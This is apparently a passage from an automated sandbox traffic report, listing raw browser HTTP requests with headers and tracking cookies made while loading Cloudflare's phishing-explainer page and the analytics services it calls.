kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; _uetsid=9e9217208d5711ef9f942d37e672568f; _uetvid=9e9265008d5711ef86d8793cb6a7df8c; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259293778%2C%22hasActivity%22:true}; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudf
Source: global traffic	HTTP traffic detected: GET /xdc.js?_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_h=-1777624096&cdn_o=a&jsVer=4.24.10.10 HTTP/1.1Host: cdn.bizible.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=1f89ada7504445dddeb1bdf0ffe279ea
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; _uetvid=9e9265008d5711ef86d8793cb6a7df8c; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259293778%2C%22hasActivity%22:true}; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DContact%252520sales%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; _biz_nA=3; _biz_pendingA=%5B%22u%3FmapType%3Decid%26mapValue%3D8AD56F28618A50850A495FB6%2540AdobeOrg_59028572615554561702300982760543860491%26_biz_u%3D1f89ada7504445dddeb1bdf0ffe279ea%26_biz_l%3Dhttps%253A%252F%252Fwww.cloudflare.com%252Flearning%252Faccess-management%252Fphishing-attack%252F%26_biz_t%3D172925
Source: global traffic	HTTP traffic detected: GET /page-data/plans/enterprise/contact/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; _uetvid=9e9265008d5711ef86d8793cb6a7df8c; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259293778%2C%22hasActivity%22:true}; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DContact%252520sales%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; _biz_nA=3; _biz_pendingA=%5B%22u%3FmapType%3Decid%26mapValue%3D8AD56F28618A50850A495FB6%2540AdobeOrg_59028572615554561702300982760543860491%26_biz_u%3D1f89ada7504445dddeb1bdf0ffe279ea%26_biz_l%3Dhttps%253A%252F%252Fwww.cloudflare.com%252Flearning%252Faccess-management%252
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1131037814 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1633272144 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p/insights/t/5268204 HTTP/1.1Host: bat.bing.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MUID=189DC320AD6765EE3B4ED63CAC9664F7; MR=0
Source: global traffic	HTTP traffic detected: GET /p/insights/s/0.7.48 HTTP/1.1Host: bat.bing.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MUID=189DC320AD6765EE3B4ED63CAC9664F7; MR=0
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1547293931 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=99d1b9e6-7852-4562-80ab-dab46218e9a6 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /u?mapType=ecid&mapValue=8AD56F28618A50850A495FB6%40AdobeOrg_59028572615554561702300982760543860491&_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&_biz_t=1729259291822&_biz_i=What%20is%20a%20phishing%20attack%3F%20%7C%20Cloudflare&_biz_n=1&rnd=240329&cdn_o=a&_biz_z=1729259293826 HTTP/1.1Host: cdn.bizible.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=1f89ada7504445dddeb1bdf0ffe279ea
Source: global traffic	HTTP traffic detected: GET /u?mapType=mkto&mapValue=id%3A713-XSC-918%26token%3A_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b&_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&_biz_t=1729259293931&_biz_i=What%20is%20a%20phishing%20attack%3F%20%7C%20Cloudflare&_biz_n=2&rnd=601476&cdn_o=a&_biz_z=1729259295827 HTTP/1.1Host: cdn.bizible.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=1f89ada7504445dddeb1bdf0ffe279ea
Source: global traffic	HTTP traffic detected: GET /component---src-components-page-page-template-tsx-d45b6e355a31d828fc9b.js HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259293778%2C%22hasActivity%22:true}; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526lin
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; _uetvid=9e9265008d5711ef86d8793cb6a7df8c; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259293778%2C%22hasActivity%22:true}; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DContact%252520sales%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; _biz_nA=3; _biz_pendingA=%5B%22u%3FmapType%3Decid%26mapValue%3D8AD56F28618A50850A495FB6%2540AdobeOrg_59028572615554561702300982760543860491%26_biz_u%3D1f89ada7504445dddeb1bdf0ffe279ea%26_biz_l%3Dhttps%253A%252F%252Fwww.cloudflare.com%252Flearning%252Faccess-management%252Fphishing-attack%252F%26_biz_t%3D172925
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/4116 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; _uetvid=9e9265008d5711ef86d8793cb6a7df8c; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259293778%2C%22hasActivity%22:true}; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DContact%252520sales%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; _biz_nA=3; _biz_pendingA=%5B%22u%3FmapType%3Decid%26mapValue%3D8AD56F28618A50850A495FB6%2540AdobeOrg_59028572615554561702300982760543860491%26_biz_u%3D1f89ada7504445dddeb1bdf0ffe279ea%26_biz_l%3Dhttps%253A%252F%252Fwww.cloudflare.com%252Flearning%252Faccess-management%252Fphishing-attack%252F%26_biz_t%3D172925
